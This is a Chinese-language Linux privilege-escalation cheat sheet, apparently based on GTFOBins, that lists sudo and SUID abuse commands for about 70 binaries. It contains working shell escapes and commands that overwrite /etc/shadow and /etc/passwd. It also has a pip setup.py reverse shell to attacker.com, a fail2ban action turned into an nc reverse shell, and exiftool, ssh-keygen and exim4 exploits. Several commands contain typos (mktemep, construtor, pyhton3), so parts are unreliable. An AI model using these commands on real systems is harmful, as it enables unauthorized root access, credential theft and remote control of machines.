参考内容:
Linux提权之Sudo 70种提权方法 - 简单安全 (huangmj.com)
GTFOBins
查询命令
常见的可以利用sudo提权的命令
nmap, vim, vi, nano, bash, less, more, cp, find, git, wget, cat, apt, zip, xxd, time, taskset, sed, pip, ed, tmux, scp, perl, awk, man, env, ftp, apache2, ash, base64, cpulimit, curl, date, dd, dstat, exiftool, fail2ban, flock, gcc, gdb, gzip, gunzip, hping3, iftop, java, jjs, journalctl, knife, mount, mysql, neofetch, nice, node, nohup, openvpn, passwd, php, pico, pkexec, python3, rvim, scp, screen, script, service, socat, ssh, ssh-keygen, strace, systemctl, tcpdump, tee, timedatectl, wall, watch, expect, exim4,teehee
可以通过以下命令查询相应用户是否可执行上述命令
1 2 3
| compgen -c | grep -E -x "nmap|vim|vi|nano|bash|less|more|cp|find|git|wget|cat|apt|zip|xxd|time|taskset|sed|pip|ed|tmux|scp|perl|awk|man|env|ftp|apache2|ash|base64|cpulimit|curl|date|dd|dstat|exiftool|fail2ban|flock|gcc|gdb|gzip|gunzip|hping3|iftop|java|jjs|journalctl|knife|mount|mysql|neofetch|nice|node|nohup|openvpn|passwd|php|pico|pkexec|python3|rvim|scp|screen|script|service|socat|ssh|ssh-keygen|strace|systemctl|tcpdump|tee|timedatectl|wall|watch|expect|exim4|teehee" find / -perm -u=s -type f 2>/dev/null sudo -l
|
nmap
1 2
| echo 'os.execute("/bin/sh")' >/tmp/.123 sudo nmap --script=/tmp/.123
|
vim or vi
如果它作为 SUID 运行,它将继承 root 用户的权限,因此它可以读取系统上的所有文件。
通过使用vim来打开任意一个文件,然后单击一次Esc
进行命令模式,输入:set shell=/bin/sh
,在输入:shell
,即可提权
1 2 3 4
| vim any.txt
:set shell=/bin/sh :shell
|
nano
使用nano随便打开一个文件,通过ctrl+x
执行命令,并输入reset;bash 1>&0 2>&0
执行命令即可提权;
1 2 3 4
| nano any.txt ctrl+x reset;bash 1>&0 2>&0
|
bash
直接执行命令即可;
less or more
1 2 3
| less /etc/passwd more /etc/passed !/bin/sh
|
cp
通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文
1
| mkpasswd -m sha-512 admin
|
参考/etc/shadow
文件中root用户的hash值保存起来到一个文件中
1 2 3 4 5 6 7 8
| vim root_shadow
Redshadow=/etc/shadow TF=$(mktemp) echo 'root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::' > $TF echo &TF cp $Redshadow bark_shadow cp $TF $Redshadow
|
注意:这个操作是有损的,最后靶机shadow文件中只有这一行,如果不进行备份,在实际攻防中优先级是排后的
最后通过修改的root密码通过su
命令登录root用户即可
find
1
| find / -exec /bin/bash \; -quit
|
git
1 2
| git branch --help !/bin/bash
|
wget
1 2 3 4
| RedShell=$(mktemp) chmod +x $RedShell echo -e '#!/bin/bash\n/bin/bash 1>&0' > $RedShell wget --use-askpass=$RedShell 0
|
cat
1 2
| RedShell=/etc/shadow cat "$RedShell"
|
可以查看到shadow中root用户加密后的密码,可以通过hashcat进行破解,需要直接加密方法;
apt
1
| apt update -o APT::Update::Pre-Invoke::=/bin/bash
|
zip
1 2
| touch 1.txt zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"
|
xxd
1 2
| xxd /etc/shadow | xxd -r john root_pw.hash --wordlist=/usr/share/wordlists/rockyou.txt
|
time
taskset
sed
1
| sed -n '1e exec bash 1>&0' /etc/hosts
|
pip
参考链接:果仁 | go away垃圾箱 (gtfobins.github.io)
- 提权
1 2 3
| TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py pip install $TF
|
- 反弹shell
1 2 3 4 5 6 7 8
| export RHOST=attacker.com export RPORT=12345 TF=$(mktemp -d) echo 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' > $TF/setup.py pip install $TF
|
ed
tmux
直接执行即可,因为它本身就是通过启动新的shell实现端口复用的
scp
1 2 3 4
| RedShell=$(mktemep) echo 'bash 0<&2 1<&2' > $RedShell chmod +x "$RedShell" scp -S &RedShell x y;
|
perl
1
| perl -e 'exec "/bin/bash";'
|
awk
1
| awk 'BEGIN {system("/bin/bash")}'
|
man
env
ftp
apache2
通过报错获取root用户的加密密码,在通过john破解获得root的密码进行登录
ash
base64
1 2
| RedShell=/etc/shadow base64 "$RedShell" | base64 -d
|
cpulimit
1
| cpulimit -l 100 -f /bin/bash
|
curl
通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文
1
| mkpasswd -m sha-512 admin
|
参考/etc/shadow
文件中root用户的hash值保存起来到一个文件中
将我们写好用户名密码的文件部署到服务器上,然后通过curl
命令进行下载覆盖掉机器中的/etc/shadow
1
| curl http:/192.168.31.221/root_shadow -o /etc/shadow
|
date
通过报错获取root用户的加密密码,在通过john破解获得root的密码进行登录
dd
通过使用kali生成明文密码的hash,通过使用下方命令加密一段明文
1
| mkpasswd -m sha-512 admin
|
参考/etc/shadow
文件中root用户的hash值保存起来到一个文件中
1 2 3
| vim root_shadow
echo 'root:$6$hUrZGcm9PHFWibnM$O4IX3xDqyfL1kp1MdUrbg3xgToPHpUR4cc8hqwRVB24zGwXCeuu8uGzDFYpQvwJ6BctAw0q468lbzr0hj5ndy1:19850:0:99999:7:::' | dd of=/etc/shadow
|
dstat
先构建一个以dstat_
为前缀的python文件,如dstat_redshell.py
,然后再里面写入import os;os.execv("/bin/bash",["bash"])
1 2 3 4
| vim dstat_redshell.py
cp dstat_redshell.py /usr/share/dstat/ sudo dstat --redshell
|
要求exiftool版本:7.44-12.23
编写一个payload
1 2 3 4 5
| touch payload echo '(metadata "\c${system('/bin/bash')};")' > payload bzz payload payload.bzz djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz exiftool exploit.djvu
|
expect
1
| expect -c "spawn /bin/bash;interact"
|
fail2ban
条件:
fail2ban用来反复登陆ssh登陆超过几次,或者在指定时间内登陆超过几次就禁止访问,IP封掉,是一个防御的工具
利用流程:
查找fail2ban的目录
再次查找fail2ban的配置中action目录中是否可写
-writable 可写
看一下fail2ban配置文件
也就是说在这个时间段内,如果你尝试了5次都失败了,就会被ban掉,ban掉这个行为就是在action.d脚本目录中进行规定
看能否定义action的行为
这个文件中决定了尝试次数,在短时间内触发了ban这个行为的时候,怎么处置
查看得知这个文件是root用户root组,不可写
通过mv移动文件和cp复制文件的方式进行替换用户权限
现在就可以执行修改了,修改如果ban被触发时,执行的命令
修改成我们提取的逻辑
rm /tmp/f 删除临时文件夹的这个文件
mkfifo 做一个隧道,用“|”指定到bash
-i 指定交互性 2>&1 错误重定向输出
nc 10.10.10.10 9595 用nc反弹监听9595端口
> /tmp/f 重定向到/tmp/f,形成闭环
重启fail2ban
回到kali多次登陆,看能否触发ban规则,规则就是我们写的提权逻辑
看到已经收到了反弹shall,命令提示符中有#号
flock
gcc
1
| sudo gcc -wrapper /bin/bash,-s .
|
gdb
1
| gdb -nx -ex '!bash' -ex quit
|
gzip/gunzip
获取得到shadow中root用户加密的密码后进行爆破获取密码;
hping3
iftop
java
可以实现,去查查资料,这里不写
jjs
可以实现,去查查资料,这里不写
journalctl
knife
1
| knife exec -E 'exec "/bin/bash"'
|
mount
1
| mount -o bind /bin/bash /usr/bin/mount
|
mysql
neofetch
1 2 3
| redshell= echo 'exec /bin/bash' > $redshell neofetch --config $redshell
|
nice
node
1
| node -e "require('child_process').spawn('/bin/bash',{stdio:[0,1,2]})"
|
nohup
1
| nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"
|
openvpn
1
| openvpn --config /etc/shadow
|
获取得到shadow中root用户加密的密码后进行爆破获取密码;
passwd
具有passwd的root权限直接修改root用户的密码即可
php
1
| php -r "system('/bin/bash');"
|
pico
使用pico随便打开一个文件,通过ctrl+x
执行命令,并输入reset;bash 1>&0 2>&0
执行命令即可提权;
1 2 3 4
| nano any.txt ctrl+x reset;bash 1>&0 2>&0
|
pkexec
python3
1
| pyhton3 -c "import os;os.system('/bin/bash')"
|
rvim
1
| rvim -c ':python import os; os.execl("/bin/bash", "bash", "-c", "reset;exec bash")'
|
screen
和tmux原理相同,直接执行“screen”命令即可
script
service
socat
1
| socat stdin exec:/bin/bash
|
ssh
1
| ssh -o ProxyCommand=';bash 0<&2 1>&2' x
|
ssh-keygen
首先编写一个C语言程序redshell.c
1 2 3 4 5 6 7 8
| #include<stdio.h> #include<stdlib.h> #include<unistd.h> static void inject()__attribute__((construtor)); void inject(){ setuid(0); system("/bin/bash -p"); }
|
1 2 3
| gcc -share -fPIC -o redshell.so redshell.c ls -liah redshell.so ssh-keygen -D ./redshell.so
|
strace
1
| strace -o /dev/null /bin/bash
|
systemctl
tcpdump
碰到再总结,这个确实能行
tee
碰到再总结,这个确实能行
timedatectl
1 2
| timedatectl list-timezones !/bin/bash
|
wall
1
| wall --nobanner /etc/shadow
|
获取到加密的root用户的密码然后爆破
watch
1
| watch -x bash -c 'reset; exec bash 1>&0 2>&0'
|
exim4
版本要求4.87-4.91,检查版本命令exim --version
1 2
| searchsploit exim 4 searchsploit -m 46996.sh
|
将下载到的.sh
文件放到服务器上,然后再目标主机通过wget
命令下载相应的文件执行即可
注意:目标主机只有有些目录具有访问权限能够下载文件,可以通过ls -l
命令进行查询相应文件夹和文件的权限
teehee
1 2
| echo "shell::0:0:::/bin/bash" | sudo teehee -a /etc/passwd su shell
|